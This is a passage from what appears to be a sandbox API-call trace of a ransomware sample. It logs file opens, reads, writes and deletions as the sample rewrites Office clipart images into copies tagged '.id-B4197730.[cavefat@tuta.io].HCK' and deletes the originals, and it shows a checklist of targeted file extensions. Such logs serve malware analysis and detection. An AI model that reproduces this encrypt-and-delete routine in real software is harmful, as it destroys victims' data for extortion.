dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0172.266] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.266] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309585.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.272] GetLastError () returned 0x0 [0172.272] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x9a8b, lpOverlapped=0x0) returned 1 [0172.276] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x9a90, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x9a90, lpOverlapped=0x0) returned 1 [0172.277] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.277] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.277] SetEndOfFile (hFile=0x368) returned 1 [0172.280] CloseHandle (hObject=0x368) returned 1 [0172.281] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.281] SetEndOfFile (hFile=0x388) returned 1 [0172.286] CloseHandle (hObject=0x388) returned 1 [0172.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309585.jpg")) returned 1 [0172.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG") returned 68 [0172.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG") returned 68 [0172.289] lstrlenW (lpString=".doc") returned 4 [0172.289] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.289] lstrlenW (lpString=".docx") returned 5 [0172.289] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0172.289] lstrlenW (lpString=".pdf") returned 4 [0172.289] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.289] lstrlenW (lpString=".xls") returned 4 [0172.289] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.289] lstrlenW (lpString=".xlsx") returned 5 [0172.289] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0172.289] lstrlenW (lpString=".ppt") returned 4 [0172.289] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG") returned 68 [0172.289] lstrlenW (lpString=".zip") returned 4 [0172.289] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.289] lstrlenW (lpString=".rar") returned 4 [0172.289] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.289] lstrlenW (lpString=".bz2") returned 4 [0172.289] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.289] lstrlenW (lpString=".7z") returned 3 [0172.289] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG") returned 68 [0172.289] lstrlenW (lpString=".dbf") returned 4 [0172.289] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG") returned 68 [0172.289] lstrlenW (lpString=".1cd") returned 4 [0172.289] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG") returned 68 [0172.289] lstrlenW (lpString=".jpg") returned 4 [0172.289] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG") returned 68 [0172.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG") returned 68 [0172.289] lstrlenW (lpString=".doc") returned 4 [0172.289] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.289] lstrlenW (lpString=".docx") returned 5 [0172.289] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0172.290] lstrlenW (lpString=".pdf") returned 4 [0172.290] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.290] lstrlenW (lpString=".xls") returned 4 [0172.290] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.290] lstrlenW (lpString=".xlsx") returned 5 [0172.290] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0172.290] lstrlenW (lpString=".ppt") returned 4 [0172.290] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG") returned 68 [0172.290] lstrlenW (lpString=".zip") returned 4 [0172.290] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.290] lstrlenW (lpString=".rar") returned 4 [0172.290] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.290] lstrlenW (lpString=".bz2") returned 4 [0172.290] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.290] lstrlenW (lpString=".7z") returned 3 [0172.290] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG") returned 68 [0172.290] lstrlenW (lpString=".dbf") returned 4 [0172.290] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG") returned 68 [0172.290] lstrlenW (lpString=".1cd") returned 4 [0172.290] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309585.JPG") returned 68 [0172.290] lstrlenW (lpString=".jpg") returned 4 [0172.290] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.290] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.290] lstrlenW (lpString="J0309902.WMF") returned 12 [0172.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309902.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0172.296] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=6656) returned 1 [0172.296] CloseHandle (hObject=0x3b0) returned 1 [0172.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309902.wmf")) returned 0x220 [0172.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309902.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0172.301] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.301] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309902.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.306] GetLastError () returned 0x0 [0172.306] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1a00, lpOverlapped=0x0) returned 1 [0172.307] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1a10, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1a10, lpOverlapped=0x0) returned 1 [0172.308] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.308] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.308] SetEndOfFile (hFile=0x368) returned 1 [0172.312] CloseHandle (hObject=0x368) returned 1 [0172.312] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.312] SetEndOfFile (hFile=0x3b0) returned 1 [0172.319] CloseHandle (hObject=0x3b0) returned 1 [0172.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309902.wmf")) returned 1 [0172.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF") returned 68 [0172.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF") returned 68 [0172.326] lstrlenW (lpString=".doc") returned 4 [0172.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.326] lstrlenW (lpString=".docx") returned 5 [0172.326] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.326] lstrlenW (lpString=".pdf") returned 4 [0172.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.326] lstrlenW (lpString=".xls") returned 4 [0172.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.327] lstrlenW (lpString=".xlsx") returned 5 [0172.327] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.327] lstrlenW (lpString=".ppt") returned 4 [0172.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF") returned 68 [0172.327] lstrlenW (lpString=".zip") returned 4 [0172.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.327] lstrlenW (lpString=".rar") returned 4 [0172.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.327] lstrlenW (lpString=".bz2") returned 4 [0172.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.327] lstrlenW (lpString=".7z") returned 3 [0172.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF") returned 68 [0172.327] lstrlenW (lpString=".dbf") returned 4 [0172.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF") returned 68 [0172.327] lstrlenW (lpString=".1cd") returned 4 [0172.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF") returned 68 [0172.327] lstrlenW (lpString=".jpg") returned 4 [0172.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF") returned 68 [0172.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF") returned 68 [0172.327] lstrlenW (lpString=".doc") returned 4 [0172.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.327] lstrlenW (lpString=".docx") returned 5 [0172.327] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.327] lstrlenW (lpString=".pdf") returned 4 [0172.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.327] lstrlenW (lpString=".xls") returned 4 [0172.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.327] lstrlenW (lpString=".xlsx") returned 5 [0172.327] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.327] lstrlenW (lpString=".ppt") returned 4 [0172.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF") returned 68 [0172.327] lstrlenW (lpString=".zip") returned 4 [0172.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.327] lstrlenW (lpString=".rar") returned 4 [0172.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.328] lstrlenW (lpString=".bz2") returned 4 [0172.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.328] lstrlenW (lpString=".7z") returned 3 [0172.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF") returned 68 [0172.328] lstrlenW (lpString=".dbf") returned 4 [0172.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF") returned 68 [0172.328] lstrlenW (lpString=".1cd") returned 4 [0172.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309902.WMF") returned 68 [0172.328] lstrlenW (lpString=".jpg") returned 4 [0172.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.328] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.328] lstrlenW (lpString="J0313970.JPG") returned 12 [0172.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313970.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0172.330] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=33195) returned 1 [0172.330] CloseHandle (hObject=0x39c) returned 1 [0172.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313970.jpg")) returned 0x220 [0172.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313970.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313970.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.337] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.337] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313970.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.346] GetLastError () returned 0x0 [0172.346] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x81ab, lpOverlapped=0x0) returned 1 [0172.348] WriteFile (in: hFile=0x384, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x81b0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x81b0, lpOverlapped=0x0) returned 1 [0172.349] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.349] WriteFile (in: hFile=0x384, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.350] SetEndOfFile (hFile=0x384) returned 1 [0172.353] CloseHandle (hObject=0x384) returned 1 [0172.354] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.354] SetEndOfFile (hFile=0x368) returned 1 [0172.368] CloseHandle (hObject=0x368) returned 1 [0172.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313970.jpg")) returned 1 [0172.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG") returned 68 [0172.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG") returned 68 [0172.373] lstrlenW (lpString=".doc") returned 4 [0172.373] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.373] lstrlenW (lpString=".docx") returned 5 [0172.373] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0172.373] lstrlenW (lpString=".pdf") returned 4 [0172.373] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.373] lstrlenW (lpString=".xls") returned 4 [0172.373] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.373] lstrlenW (lpString=".xlsx") returned 5 [0172.373] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0172.373] lstrlenW (lpString=".ppt") returned 4 [0172.373] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG") returned 68 [0172.373] lstrlenW (lpString=".zip") returned 4 [0172.373] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.373] lstrlenW (lpString=".rar") returned 4 [0172.373] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.373] lstrlenW (lpString=".bz2") returned 4 [0172.373] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.373] lstrlenW (lpString=".7z") returned 3 [0172.373] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG") returned 68 [0172.373] lstrlenW (lpString=".dbf") returned 4 [0172.373] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG") returned 68 [0172.373] lstrlenW (lpString=".1cd") returned 4 [0172.373] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG") returned 68 [0172.373] lstrlenW (lpString=".jpg") returned 4 [0172.374] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG") returned 68 [0172.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG") returned 68 [0172.374] lstrlenW (lpString=".doc") returned 4 [0172.374] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.374] lstrlenW (lpString=".docx") returned 5 [0172.374] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0172.374] lstrlenW (lpString=".pdf") returned 4 [0172.374] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.374] lstrlenW (lpString=".xls") returned 4 [0172.374] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.374] lstrlenW (lpString=".xlsx") returned 5 [0172.374] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0172.374] lstrlenW (lpString=".ppt") returned 4 [0172.374] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG") returned 68 [0172.374] lstrlenW (lpString=".zip") returned 4 [0172.374] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.374] lstrlenW (lpString=".rar") returned 4 [0172.374] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.374] lstrlenW (lpString=".bz2") returned 4 [0172.374] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.374] lstrlenW (lpString=".7z") returned 3 [0172.374] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG") returned 68 [0172.374] lstrlenW (lpString=".dbf") returned 4 [0172.374] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG") returned 68 [0172.374] lstrlenW (lpString=".1cd") returned 4 [0172.374] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG") returned 68 [0172.374] lstrlenW (lpString=".jpg") returned 4 [0172.374] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.374] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.374] lstrlenW (lpString="J0315612.JPG") returned 12 [0172.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315612.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0172.380] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=16954) returned 1 [0172.380] CloseHandle (hObject=0x3b0) returned 1 [0172.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315612.jpg")) returned 0x220 [0172.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315612.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315612.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0172.390] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.390] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft 